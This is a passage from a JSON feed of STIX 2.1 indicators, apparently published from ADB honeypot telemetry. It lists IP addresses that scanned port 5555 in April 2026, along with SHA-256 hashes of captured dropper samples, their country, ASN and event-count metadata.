      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=ES; asn=15704; asn_org=Xtra Telecom S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-26T18:07:02.000Z | last_seen=2026-04-26T18:08:16.078Z | ports=5555 | cc=ES | asn=15704 | org=Xtra Telecom S.A.",
      "id": "indicator--eacd57d9-7ee5-4857-9d94-3d0528dedf95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '213.195.116.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:00:11.000Z",
      "valid_until": "2026-05-28T19:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-26T18:07:02.000Z",
          "last_seen": "2026-04-26T18:08:16.078Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "15704"
          ],
          "org": [
            "Xtra Telecom S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=JO; asn=48832; asn_org=Jordanian mobile phone services Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-26T23:06:25.000Z | last_seen=2026-04-26T23:19:00.993Z | ports=5555 | cc=JO | asn=48832 | org=Jordanian mobile phone services Ltd",
      "id": "indicator--0262587c-8e56-4108-af02-3878f8e2e48f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.28.149.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T00:00:03.000Z",
      "valid_until": "2026-05-29T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-26T23:06:25.000Z",
          "last_seen": "2026-04-26T23:19:00.993Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JO"
          ],
          "asn": [
            "48832"
          ],
          "org": [
            "Jordanian mobile phone services Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-27T02:18:13.000Z | last_seen=2026-04-27T02:28:23.690Z | ports=5555 | cc=CN | asn=134543 | org=China Unicom Guangdong IP network",
      "id": "indicator--1a0901fa-d741-4da9-a60b-97a69d47d613",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:00:04.000Z",
      "valid_until": "2026-05-29T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-27T02:18:13.000Z",
          "last_seen": "2026-04-27T02:28:23.690Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134543"
          ],
          "org": [
            "China Unicom Guangdong IP network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=20 | first_seen=2026-04-27T02:57:05.000Z | last_seen=2026-04-30T18:10:51.594Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--c540b2c3-abe0-4d23-a90c-2735d593ae5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:00:04.000Z",
      "valid_until": "2026-05-29T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 20,
          "first_seen": "2026-04-27T02:57:05.000Z",
          "last_seen": "2026-04-30T18:10:51.594Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=AR; asn=7303; asn_org=Telecom Argentina S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-27T02:15:01.000Z | last_seen=2026-04-27T02:16:11.211Z | ports=5555 | cc=AR | asn=7303 | org=Telecom Argentina S.A.",
      "id": "indicator--1583c9e7-9e35-496a-9073-49b8f8224388",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '201.253.248.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:00:04.000Z",
      "valid_until": "2026-05-29T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-27T02:15:01.000Z",
          "last_seen": "2026-04-27T02:16:11.211Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AR"
          ],
          "asn": [
            "7303"
          ],
          "org": [
            "Telecom Argentina S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T04:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CA; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-27T03:02:28.000Z | last_seen=2026-04-27T03:12:37.343Z | ports=5555 | cc=CA | asn=209334 | org=Modat B.V.",
      "id": "indicator--38346b98-0e7d-4b30-89a3-eabfedc316c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T04:00:13.000Z",
      "valid_until": "2026-05-29T04:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-27T03:02:28.000Z",
          "last_seen": "2026-04-27T03:12:37.343Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=50219; asn_org=Valence Technology Co.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=26 | first_seen=2026-04-27T04:06:32.000Z | last_seen=2026-04-27T04:50:12.768Z | ports=5555 | cc=US | asn=50219 | org=Valence Technology Co.",
      "id": "indicator--825f334a-48d5-4ce9-9f15-51fbd5e7e321",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:00:04.000Z",
      "valid_until": "2026-05-29T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 26,
          "first_seen": "2026-04-27T04:06:32.000Z",
          "last_seen": "2026-04-27T04:50:12.768Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "50219"
          ],
          "org": [
            "Valence Technology Co."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=213438; asn_org=ColocaTel Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=1538 | first_seen=2026-04-27T04:32:38.000Z | last_seen=2026-04-30T15:53:02.010Z | ports=5555 | cc=BG | asn=213438 | org=ColocaTel Inc.",
      "id": "indicator--3ff62667-eecd-48f8-a3e4-7c19bf4f9a1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:00:04.000Z",
      "valid_until": "2026-05-29T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 1538,
          "first_seen": "2026-04-27T04:32:38.000Z",
          "last_seen": "2026-04-30T15:53:02.010Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "213438"
          ],
          "org": [
            "ColocaTel Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-27T05:33:19.000Z | last_seen=2026-04-27T05:44:58.383Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--0ec50c06-f303-43b1-b311-19122e4435c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T06:00:04.000Z",
      "valid_until": "2026-05-29T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-27T05:33:19.000Z",
          "last_seen": "2026-04-27T05:44:58.383Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=BR; asn=31898; asn_org=Oracle Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-27T09:20:31.000Z | last_seen=2026-04-27T09:34:54.607Z | ports=5555 | cc=BR | asn=31898 | org=Oracle Corporation",
      "id": "indicator--35f93594-8a67-4cd3-bc08-0502b85a9319",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '129.121.38.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:00:03.000Z",
      "valid_until": "2026-05-29T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-27T09:20:31.000Z",
          "last_seen": "2026-04-27T09:34:54.607Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "31898"
          ],
          "org": [
            "Oracle Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T13:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/191fdc8d26d258845f9523ba69e6a929f987e907ff88171cd25f3687a9ac5f20.raw; last_seen=2026-04-27T12:32:23.128Z",
      "id": "indicator--56e25017-1247-45e5-9766-1a84a92fe661",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '191fdc8d26d258845f9523ba69e6a929f987e907ff88171cd25f3687a9ac5f20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T13:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/745d1cb036604df762464aa6818a696564336ec02ae70413d10c1a32aaa23d1b.raw; last_seen=2026-04-27T12:32:22.858Z",
      "id": "indicator--25748ac0-dd9a-4c45-bca2-e8412c51f22c",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '745d1cb036604df762464aa6818a696564336ec02ae70413d10c1a32aaa23d1b']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=59 | first_seen=2026-04-27T16:16:53.000Z | last_seen=2026-04-27T16:19:06.801Z | ports=5555 | cc=SG | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--4f97cbde-a46e-4fe5-9eab-b89813d2b36d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.84.138.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T17:00:02.000Z",
      "valid_until": "2026-05-29T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 59,
          "first_seen": "2026-04-27T16:16:53.000Z",
          "last_seen": "2026-04-27T16:19:06.801Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T18:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-27T17:21:27.000Z | last_seen=2026-04-27T17:22:28.043Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--fde5e54c-dad3-41e4-a9e3-b4aa61cf08af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T18:00:05.000Z",
      "valid_until": "2026-05-29T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-27T17:21:27.000Z",
          "last_seen": "2026-04-27T17:22:28.043Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=ES; asn=12430; asn_org=Vodafone Spain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-27T18:55:12.000Z | last_seen=2026-04-27T19:05:19.290Z | ports=5555 | cc=ES | asn=12430 | org=Vodafone Spain",
      "id": "indicator--55576d28-9b12-40a5-b8fe-649f48a2fd9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.147.240.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:00:03.000Z",
      "valid_until": "2026-05-29T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-27T18:55:12.000Z",
          "last_seen": "2026-04-27T19:05:19.290Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "12430"
          ],
          "org": [
            "Vodafone Spain"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T20:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/ccd758e72a8a8cb5f140bab26837f363908550f2558ed86d229ec9016fed49b9.raw; last_seen=2026-04-27T19:56:51.801Z",
      "id": "indicator--e8e4dfb3-a029-4af9-916c-ddcffcd01c0d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'ccd758e72a8a8cb5f140bab26837f363908550f2558ed86d229ec9016fed49b9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-27T20:07:52.000Z | last_seen=2026-04-27T20:08:57.479Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3e2256ec-ff50-4e12-b31f-6f53f04aaedf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '170.187.158.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:00:03.000Z",
      "valid_until": "2026-05-29T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-27T20:07:52.000Z",
          "last_seen": "2026-04-27T20:08:57.479Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T21:00:03.000Z",
